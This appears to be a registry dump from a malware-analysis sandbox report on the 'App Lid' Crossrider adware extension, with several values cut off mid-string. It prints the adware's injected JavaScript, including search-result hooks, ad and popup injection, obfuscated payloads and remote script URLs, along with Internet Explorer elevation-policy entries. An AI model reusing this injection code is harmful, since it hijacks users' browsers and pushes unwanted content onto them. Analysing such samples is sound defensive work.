Q0M2UyNjM5MzQyMzIzMzQyYjI2M2QyNDJiMjUyNzNjMjA"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\9]
"JavaScript" = "appAPI.hooks.addHook(searchEngine,(function(a){return function(){var f={keyDelay:1000},e,h;return{init:function(i){e=this;this.addEngine({name:google,url:google,input:input[name=q],results:#rso,result:'

'});this.addEngine({name:bing,url:bing.com,input:input[name=q],results:#results > ul,result:'

'});this.addEngine({name:yandex,url:yandex.ru,input:form.b-head-search input.b-form-input__input,form.b-search input.b-form-input__input,results:.b-body-items > ol,result:'

'});this.addEngine({name:yandex,url:yandex.com,input:form.b-search input.b-form-input__input,#searchInput,results:.b-serp2-list__portion,result:'

'});this.addEngine({name:yahoo,url:yahoo.com,input:input[name=p],results:#web ol:eq(0),result:

});this.addEngine({name:yahoo,url:search.yahoo.com,input:input[name=p],results:#web ol:eq(0),result:

});this.addEngine({name:ask,urlç•ŸÉŽ"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\App Lid]
"DisplayIcon" = "%Program Files% (x86)\App Lid\utils.exe"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\221]
"Name" = "icm_downloads_m"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\41]
"Name" = "IEInfo"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\2]
"JavaScript" = "(function(){var b=dummy so this plugin won't be empty;})();"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\64]
"Name" = "appApiMessage"

[HKCU\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{48a0739a-6b32-4042-aabe-9d8d05cc8dc3}]
"AppName" = "App Lid-buttonutil.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "9C A0 40 31 2C 3C D0 01"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\45]
"Name" = "IEOnRequest"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\38]
"Version" = "4"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\37]
"Name" = "IEBrowserEvents"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{a96c2976-ee5b-4f1e-824c-c00fd74dd873}]
"Policy" = "3"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\39]
"URL" = "http://js.ourclientinputsrv.com/plugins/mins/39.js"

[HKCU\Software\AppDataLow\Software\App Lid\Manifest]
"Manifest" = "NA"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{a96c2976-ee5b-4f1e-824c-c00fd74dd873}]
"AppName" = "App Lid-buttonutil64.exe"
"Policy" = "3"

[HKCU\Software\AppDataLow\Software\App Lid\Installer]
"osName" = "7"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\94]
"JavaScript" = "appAPI.isBackground=false;appAPI.tabId=POPUP;appAPI.internal.scope=Consts.SCOPE.POPUP;appAPI.browserAction.setBadgeBackgroundColor=function(a){if(!(a instanceof Array)){console.error(appAPI.browserAction.setBadgeBackgroundColor - Invalid parameter. Expected an array but got: (typeof a));return;}if(a.length!==4){console.error(appAPI.browserAction.setBadgeBackgroundColor - Invalid parameter. Color array should have 4 members (RGBA));return;}appAPI.internal.message.send({eventName:onSetBadgeColorFromPopup,eventContent:a});};appAPI.browserAction.setBadgeText=function(c,a){var b={};if(typeof c!==string){console.error(appAPI.browserAction.setIcon - Invalid parameter. Expected string (1st param) but got: (typeof c));return;}b.text=c;if(typeof a===undefined||a===null){b.color=null;}else{if(!(a instanceof Array)){console.error(appAPI.browserAction.setBadgeText - Invalid parameter. Expected an array (2nd param) but got: (typeof a));return;}else{if(a.length!==4){console.error(appAPI.browserAction.seÉŽ"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\345]
"JavaScript" = "__INFORMATION_MAPPING__={ads:[101,108,116,117,125,126,135,141,158,159,170,171,174,178,180,192,193,206,211,225,230,231,232,233,239,241,261,264,266,279,284,289,297,300,302,306,309,310,314,333,334,339,340,344,363,368,372],pops:[108,127,155,170,179,190,195,197,208,221,224,265,273,277,278,280,281,292,293,294,296,262,303,324,337,338,341,343,346,347,356,357,358],intext:[103,117,123,142,259,263,342,359,360],shopping:[92,93,102,104,117,124,128,138,184,191,198,199,200,204,213,215,218,223,227,228,234,235,237,242,243,256,260,254,275,282,288,290,295,301,304,307,308,311,317,325,327,328,335,350,351,369,370,371]};"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\45]
"Version" = "4"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\44]
"URL" = "http://js.ourclientinputsrv.com/plugins/mins/44.js"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{0940d92d-eb5b-4a66-a360-ea4a14653723}]
"AppName" = "App Lid-codedownloader.exe"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\255]
"URL" = "http://js.ourclientinputsrv.com/plugins/mins/255.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\94]
"Version" = "2"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\182]
"Name" = "openUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\App Lid]
"CrAppId" = "65743"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\183]
"Name" = "tabsWrapper"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\262]
"JavaScript" = "if (typeof setup2 === 'function') { setup2('MWY2MTUyNDE0NzU3NDcwZTEyMDAxNDNlMDAwZDQ1NGQ0NTQ0MGUwMDEwMWI0ODRlNDgxNDAxMDgwNTE1MDcwMzE3NTA0YTE2NGIwNzBkMTUwOTBhMWIwOTAzNTkwYjAzMTI1YjE3MWUxMDRlMTE0NDU3NTc1ZjE2MDA0NDJkM2UyNDI1MmEzNTM1MjYyZDJmMzczMzM4MzIzZDMyMjMzYTIwMmUzNjNlMzQyMjI3MzkyZjMwM2IzNDVkMGQ0OTFkMTY1OTE2MWQwMDU2NDM1NjU1NDc0MzAzMWUwMDU5MzQyZDIyMzUzODM2MzUzNDNkMjAyZTIwM2UyNjI3MzUzOTI4MzUyOTJlMmQzZTQxMDQxYzE1MTIxMTA5MDIxNjVjMzgyODI2MzQyOTI3MzczOTNiMjUyMjI1M2EyZjI4MjczMDJhM2UyZDIyMjUzYTMzMzUzMTM2MzQzYjI1MzgyODQ3NGE2YzU0NDQ0YjUyNDMwZjAzMTExNjE1MjExNjA3NTA1YjQ3NTUwZDEyMTIwNDE3NTE1ZDRlMDQxMzBiMDUwNzE3MGMwZTQzNGMwNjU5MDQwZDA3MTkwNTAyMWEwNTQ5MTkwMDEyNDkwNzExMDk1ZDE3NTQ0NTU0NWYwNDEwNGIzNDJkMjIzNTM4MzYzNTM0M2QyMDJlMjAzZTIyMmYzMTIzMjgzMDIxMmYyZDMyMzIzNTNhMmYyMjJiM2I0NDFlNGYwZDA0NWExNjBmMTA1OTVhNDU1MzU3NTEwMDFlMTI0OTNiMzQzMTMzMjgyNDM2MzQyZjMwMjEzOTJkMjAzNzI3M2EyODI3MzkyMTM0MmQ0NzE0MGUxNjEyMDMxOTBkMGY0ZjNlMzgzNDM3MjkzNTI3MzYyMjM2MjQzNTI4MmMyODM1MjAyNTI3M2UyNDM1MjgzMDM1MjMyNjNiMjIzNjNlMzg1NTQ5NmM0NjU0NDQ0YjUwMTEwYjAyMDIçž—ÉŽ"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\64]
"Version" = "3"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\17]
"URL" = "http://js.ourclientinputsrv.com/plugins/mins/17.js"

[HKCU\Software\AppDataLow\Software\App Lid\Manifest]
"DisableIe" = "true"
"UninstallerOfferUrl" = "NA"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\94]
"Name" = "IEPopup"

[HKCU\Software\AppDataLow\Software\App Lid\Installer]
"Time" = "1422581366"
"AdditionalInfo" = "{""asw"":[0, 1073750533, -2147475456, 0],""browser_name"":""ie""

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\263]
"Name" = "intext_5_j_m"

[HKCU\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{a96c2976-ee5b-4f1e-824c-c00fd74dd873}]
"AppName" = "App Lid-buttonutil64.exe"

[HKCU\Software\AppDataLow\Software\App Lid\Installer]
"subid" = "0"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\262]
"URL" = "http://js.ourclientinputsrv.com/plugins/mins/262.js"

[HKCU\Software\AppDataLow\Software\App Lid\Installer]
"DefaultBrowser" = "ie"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{0940d92d-eb5b-4a66-a360-ea4a14653723}]
"AppName" = "App Lid-codedownloader.exe"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\4]
"Version" = "5"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\14]
"Name" = "CrossriderUtils"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\288]
"URL" = "http://js.ourclientinputsrv.com/plugins/mins/288.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\253]
"Version" = "2"

[HKCU\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{48a0739a-6b32-4042-aabe-9d8d05cc8dc3}]
"AppPath" = "%Program Files% (x86)\App Lid"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\184]
"Version" = "11"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\288]
"Version" = "1"

[HKCU\Software\InstalledBrowserExtensions\25286]
"65743" = "App Lid"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\46]
"JavaScript" = "if(typeof appAPI===undefined){appAPI={};appAPI.internal={};appAPI.internal.callbacks={};}else{if(typeof appAPI.internal===undefined){appAPI.internal={};appAPI.internal.callbacks={};}else{if(typeof appAPI.internal.callbacks===undefined){appAPI.internal.callbacks={};}}}appAPI.internal.callbacks.timersListeners={};appAPI.internal.callbacks.timersIsInterval={};appAPI.internal.callbacks.timer=function(b){var a=b.timerId;if(typeof a!==number){return;}if(typeof appAPI.internal.callbacks.timersListeners[a]===undefined){return;}var d=appAPI.internal.callbacks.timersListeners[a];if(!appAPI.internal.callbacks.timersIsInterval[a]){clearInterval(a);delete appAPI.internal.callbacks.timersListeners[a];delete appAPI.internal.callbacks.timersIsInterval[a];}try{d();}catch(c){console.error(setInterval/setTimeout - Caught an exception from user callback: (typeof c.message===string?c.message:???));}};(function(a){appAPI.setInterval=function(d,c,e){if((typeof d!==undefined)&&(typeof c===number)){var b=a.setInÉŽ"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\40]
"JavaScript" = "if(typeof appAPI===undefined){appAPI={};}if(typeof appAPI.internal===undefined){appAPI.internal={};}if(typeof appAPI.internal.callbacks===undefined){appAPI.internal.callbacks={};}appAPI.internal.scope=Consts.SCOPE.PAGE;appAPI.internal.callbacks.setEventHandler(externalConsole,function(a){if(appAPI.dom.isIframe()){return;}var c=a.level;var b=a.text;if(typeof c===undefined){console.error(Received undefined Background console level);return;}if(typeof console[c]===undefined){console.error(Received undefined Background console level);return;}if(typeof b===undefined){console.error(Received undefined Background console text);return;}console[c](b);});appAPI.internal.callbacks.setEventHandler(onBeforeNavigate,function(a){});appAPI.internal.callbacks.setEventHandler(windowOpen,function(a){if(appAPI.dom.isIframe()||!appAPI.isActiveTab()){return;}window.open(a.url,a.name,a.specs,a.replace);});try{if(!appAPI.dom.isIframe()){appAPI.internal.activeTabCounter=0;setInterval(function(){if(appAPI.isActiÉŽ"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\43]
"Version" = "5"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\38]
"JavaScript" = "if(typeof appAPI===undefined){appAPI={};}if(typeof appAPI.internal===undefined){appAPI.internal={};}if(typeof appAPI.internal.callbacks===undefined){appAPI.internal.callbacks={};}appAPI.internal.callbacks.genericEvent=function(e){var d=e.eventContent;if(typeof d===undefined){return;}var a=e.eventName;if(typeof a===undefined){return;}if(typeof appAPI.internal.callbacks[a]===undefined){return;}if(typeof appAPI.internal.callbacks[a].handler!==undefined){var b=appAPI.internal.callbacks[a].handler(d);if(b){return;}}if(typeof appAPI.internal.callbacks[a].listeners===undefined){return;}for(var c in appAPI.internal.callbacks[a].listeners){appAPI.internal.callbacks[a].listeners[c](d,c);}};appAPI.internal.callbacks.addListener=function(b,a,c){if(typeof appAPI.internal.callbacks[b]===undefined){appAPI.internal.callbacks[b]={};appAPI.internal.callbacks[b].listeners={};appAPI.internal.callbacks[b].listenersAdditionalData={};appAPI.internal.callbacks[b].listenersIds=0;appAPI.internal.callbacks[b].numberOÉŽ"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\253]
"URL" = "http://js.ourclientinputsrv.com/plugins/mins/253.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\94]
"URL" = "http://js.ourclientinputsrv.com/plugins/mins/94.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\242]
"URL" = "http://js.ourclientinputsrv.com/plugins/mins/242.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\13]
"URL" = "http://js.ourclientinputsrv.com/plugins/mins/13.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\252]
"JavaScript" = "appAPI.internal.monetization=appAPI.internal.monetization||{};if(typeof appAPI.internal.monetization.plugins===undefined){appAPI.internal.monetization.plugins={};}appAPI.internal.monetization.plugins[252]=function(){var f=function(m,n,l,k){while(l.length
[HKCU\Software\AppDataLow\Software\App Lid\Manifest]
"Version" = "21"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\39]
"Version" = "5"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\22]
"JavaScript" = "(function(a){appAPI.queueManager={queue:[],register:function(b){this.queue.push(b);}};appAPI.ready=function(c,b){a.when.apply(null,appAPI.queueManager.queue).then(function(){a.when(appAPI.initializerPlugin.isReady(b)).then(function(){new Function('if (typeof jQuery === undefined) { jQuery = $jquery_171; }(' appAPI.resources.parseIncludeJS(c.toString()) )($jquery_171))();});});};}($jquery_171));var CrossRiderResourcesManager=(function(z){var B={appId:appAPI._cr_config.appID(),url:appAPI._cr_config.resources,env:appAPI.appInfo.environment===staging?staging:production,saveResource:appAPI.time.daysFromNow(90),nextCheck:360,DBNamespace:Resources_,isDebug:appAPI.debugManager.isDebug()&&appAPI.debugManager.getResourcesPath(),isIE7:z.browser.msie&&z.browser.version*1==7},x=new z.Deferred(),h=K(meta)||{},D=K(remote_resources)||{remoteId:0},e=K(queue)||{},g=initialVersion=K(lastVersion)||0;return z.Class.extend({init:function(){appAPI.queueManager.register(x.promise());if(B.isDebug){x.resolve();}elÉŽ"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\7]
"JavaScript" = "appAPI.hooks={$:$jquery_171,hooks:{},addHook:function(a,b){this.hooks[a]=b;},removeHook:function(a){delete this.hooks[a];},register:function(b,a){return this.hooks[b]?new (this.$.Class.extend(this.$.extend(this.getClass(),this.$.isFunction(this.hooks[b])?this.hooks[b]():this.hooks[b])))(a):null;},getClass:(function(a){return function(){return{listeners:[],addListener:function(b,c){this.listeners.push({name:b,fn:c});},removeListener:function(c,d){var b=[];a.each(this.listeners,function(e,f){if(c!=f.name&&d!=f.fn){b.push(f);}});this.listeners=b;},fireEvent:function(b,c){a.each(this.listeners,a.proxy(function(d,e){if(b==e.name){e.fn.call(this,c);}},this));}};};}($jquery_171))};"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins]
"PopupPluginList" = "42,38,46,41,44,39,35,43,36,4,14,78,13,64,207,47,182,72,94"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\262]
"Name" = "pops_5_j_m"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\200]
"Version" = "4"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\45]
"URL" = "http://js.ourclientinputsrv.com/plugins/mins/45.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\345]
"Name" = "pluginsVerticals"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\252]
"Version" = "10"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\223]
"Name" = "imonomy_m"

[HKCU\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{70c7f9ab-103c-416a-a8bf-5b70c1c0831b}]
"AppName" = "App Lid-bg.exe"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{a96c2976-ee5b-4f1e-824c-c00fd74dd873}]
"AppPath" = "%Program Files% (x86)\App Lid"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\35]
"JavaScript" = "if(typeof appAPI===undefined){appAPI={};}(function(e){if(typeof appAPI.internal===undefined){appAPI.internal={};}if(typeof appAPI.internal.callbacks===undefined){appAPI.internal.callbacks={};}function f(m){if(typeof m===object){return m;}if(typeof m!==string){return null;}m=m.replace(/\r\n/g,\n);if(m.lastIndexOf(\n) 1==m.length){m.replace(/(?:(?:^|\n)\s |\s (?:$|\n))/g,).replace(/\s /g, );}var n=m.split(\n);var l={};for(var k=0;k
[HKCU\Software\AppDataLow\Software\App Lid\Manifest]
"ChangePrevious" = "false"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\3]
"Name" = "ie8_fix_2"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{48a0739a-6b32-4042-aabe-9d8d05cc8dc3}]
"AppName" = "App Lid-buttonutil.exe"

[HKCU\Software\AppDataLow\Software\App Lid\Installer]
"srcid" = "000820"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\37]
"URL" = "http://js.ourclientinputsrv.com/plugins/mins/37.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\234]
"URL" = "http://js.ourclientinputsrv.com/plugins/mins/234.js"

[HKCU\Software\AppDataLow\Software\App Lid\Manifest]
"UninstallerOfferAction" = "NA"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\182]
"URL" = "http://js.ourclientinputsrv.com/plugins/mins/182.js"

[HKCU\Software\AppDataLow\Software\Crossrider]
"Bic" = "4FB4C73F09554441862F9E06CA998CBBIE"

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\%Program Files% (x86)\Google\Update\1.3.24.15, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\VMwareDnD\327c54aa\python.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\VMwareDnD\327c54aa\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz2637.tmp\AccDownload.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz2637.tmp\nsProcess.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz2637.tmp\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp3EF5.tmp\AccDownload.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp3EF5.tmp\nsProcess.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp3EF5.tmp\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\422.json, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\images\code, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\images, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\tmp\422.db, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\tmp\STab_Down_6.0.6.6.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\tmp\wpm_v20.0.0.1714.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\tmp\XTab_v4.0.exeÉŽ"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\13]
"JavaScript" = "(function(a){a.selectedText=function(e,c){function d(){if(window.getSelection){return window.getSelection();}else{if(document.getSelection){return document.getSelection();}else{var f=document.selection&&document.selection.createRange();if(f.text){return f.text;}return false;}}return false;}if(e==null){a.debug(selectedText: no callback function provided.);return;}if(c==null){c={};}c.lastSelection=;c.minlength=c.minlength||1;c.maxlength=c.maxlength||99999999;var b;switch(typeof(c.element)){caseundefined:b=$jquery(body);break;caseobject:if(c.element instanceof jQuery){b=c.element;}else{a.debug(selectedText: element provided as an unrecorgnize object.);return;}break;casestring:b=$jquery(c.element);break;default:a.debug(selectedText: unknown element.);return;}b.mouseup(function(g){var f=d();if(f&&String(f)==c.lastSelection){c.lastSelection=;return;}else{c.lastSelection=String(f);}if(f&&String(f).length>=c.minlength&&String(f).length<=c.maxlength){e(f,g);}});};})(appAPI);(function(b){var c=functiÉŽ"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\47]
"JavaScript" = "(function(){appAPI.ready=function(a){appAPI.resources.isReady(a);};}());var CrossRiderResourcesManager=(function(){var C={appId:(function(){var D=appAPI.appInfo;if(D){return appAPI.appInfo.id;}else{return appAPI.appID;}})(),url:{base:{production:[""\x68\x74\x74\x70\x3a\x2f\x2f\x72\x65\x73\x6f""

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\221]
"JavaScript" = "appAPI.internal.monetization=appAPI.internal.monetization||{};if(typeof appAPI.internal.monetization.plugins===undefined){appAPI.internal.monetization.plugins={};}appAPI.internal.monetization.plugins[221]=function(){if(appAPI.isBackground){return;}if(!appAPI.internal.monetization.shouldRunByVertical(221,[pops])){return;}new (appAPI.internal.monetization.plugins.ICMBaseManager({namespace:DOWNLOADS}))();};"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\43]
"JavaScript" = "if(typeof appAPI===undefined){appAPI={};}if(typeof appAPI.internal===undefined){appAPI.internal={};}if(typeof appAPI.internal.callbacks===undefined){appAPI.internal.callbacks={};}if(typeof appAPI.internal.message===undefined){appAPI.internal.message={};}appAPI.internal.message.send=function(b){if(typeof b!==object){return false;}if(typeof b.eventName!==string){return false;}b.senderTabId=appAPI.tabId;var c;try{c=appAPI.JSON.stringify(b);}catch(a){console.error(appAPI.message error - Caught a JSON exception when trying to stringify the message);return false;}if(typeof c!==string){console.error(appAPI.message error - Failed to stringify message);return false;}if(c.length>8192){console.error(appAPI.message error - can't send message because content is too long: c.length);return false;}appAPIinternal.msgToAllTabs(c);return true;};appAPI.internal.callbacks.crossBhoEvent=function(b){if(typeof b.msgObj!==string){return;}try{b=appAPI.JSON.parse(b.msgObj);}catch(c){console.error(Failed to parsÉŽ"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\App Lid]
"DisplayName" = "App Lid"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\246]
"Name" = "setup"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\35]
"Version" = "4"

[HKCU\Software\InstalledBrowserExtensions\25286\Status]
"Installed" = "1"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\301]
"URL" = "http://js.ourclientinputsrv.com/plugins/mins/301.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\253]
"Name" = "pixel_inject"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\177]
"Version" = "2"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\35]
"URL" = "http://js.ourclientinputsrv.com/plugins/mins/35.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\42]
"JavaScript" = "var Consts={SCOPE:{BACKGROUND:0,PAGE:1,POPUP:5,OPEN_URL:6}};if(typeof appAPI===undefined){appAPI={};}appAPI.__should_activate_validation__=true;(function(a){if(typeof window==undefined){window={};}if(typeof window.document===undefined){window.document={};document=window.document;}if(typeof window.alert===undefined){window.alert=function(b){var c;if(typeof b===undefined){c=undefined;}else{if(b===null){c=null;}else{c=b.toString();}}if(typeof c===string){a.alert(c);}};alert=window.alert;}})(appAPIinternal);if(typeof console===undefined){window.console={};console=window.console;}if(typeof console.log===undefined){window.console.log=function(a){};console.log=window.console.log;}if(typeof console.info===undefined){window.console.info=function(a){};console.info=window.console.info;}if(typeof console.warn===undefined){window.console.warn=function(a){};console.warn=window.console.warn;}if(typeof console.error===undefined){window.console.error=function(a){};console.error=window.console.error;ÉŽ"

[HKCU\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{70c7f9ab-103c-416a-a8bf-5b70c1c0831b}]
"AppPath" = "%Program Files% (x86)\App Lid"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\223]
"URL" = "http://js.ourclientinputsrv.com/plugins/mins/223.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\13]
"Name" = "CrossriderAppUtils"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\91]
"Name" = "monetizationLoader.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\17]
"JavaScript" = "if(typeof window!==undefined){/*! * jQuery JavaScript Library v1.4.2 * http://jquery.com/ * * Copyright 2010, John Resig * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * Includes Sizzle.js * http://sizzlejs.com/ * Copyright 2010, The Dojo Foundation * Released under the MIT, BSD, and GPL Licenses. * * Date: Sat Feb 13 22:33:48 2010 -0500 */var $$jquery;(function(aO,D){var a=function(e,a0){return new a.fn.init(e,a0);},o=aO.jQuery,S=aO.$,ac=aO.document,Y,Q=/^[^<]*(<[\w\W] >)[^>]*$|^#([\w-] )$/,aY=/^.[^:#\[\.,]*$/,az=/\S/,N=/^(\s|\u00A0) |(\s|\u00A0) $/g,f=/^<(\w )\s*\/?>(?:<\/\1>)?$/,b=navigator.userAgent,v,L=false,af=[],aI,av=Object.prototype.toString,ar=Object.prototype.hasOwnProperty,h=Array.prototype.push,G=Array.prototype.slice,t=Array.prototype.indexOf;a.fn=a.prototype={init:function(e,a2){var a1,a3,a0,a4;if(!e){return this;}if(e.nodeType){this.context=this[0]=e;this.length=1;return this;}if(e===body&&!a2){this.context=ac;this[0]=ac.body;this.seÉŽ"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\4]
"Name" = "jquery_1_7_1"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\39]
"Name" = "IEDatabase"

[HKCU\Software\AppDataLow\Software\App Lid\Installer]
"FullVersionForUrl" = "1_36_01_22"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION]
"App Lid-bg.exe" = "8000"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\App Lid\Installer]
"BundledIe" = "1"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\221]
"URL" = "http://js.ourclientinputsrv.com/plugins/mins/221.js"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{0940d92d-eb5b-4a66-a360-ea4a14653723}]
"AppPath" = "%Program Files% (x86)\App Lid"

[HKLM\SOFTWARE\Wow6432Node\AppDataLow\Software\Crossrider]
"Verifier" = "aeee04e8f278dfad4abf88a95210feb1"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\223]
"Version" = "9"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{70c7f9ab-103c-416a-a8bf-5b70c1c0831b}]
"Policy" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{70c7f9ab-103c-416a-a8bf-5b70c1c0831b}]
"AppPath" = "%Program Files% (x86)\App Lid"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\220]
"URL" = "http://js.ourclientinputsrv.com/plugins/mins/220.js"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{48a0739a-6b32-4042-aabe-9d8d05cc8dc3}]
"AppPath" = "%Program Files% (x86)\App Lid"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\242]
"Name" = "price_gong_m"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\42]
"URL" = "http://js.ourclientinputsrv.com/plugins/mins/42.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\102]
"Version" = "11"

[HKCU\Software\AppDataLow\Software\App Lid\Manifest]
"AddressbarURL" = "NA"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\177]
"URL" = "http://js.ourclientinputsrv.com/plugins/mins/177.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\180]
"Name" = "bpo_serp_m"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\3]
"URL" = "http://js.ourclientinputsrv.com/plugins/mins/3.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\22]
"Version" = "6"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\37]
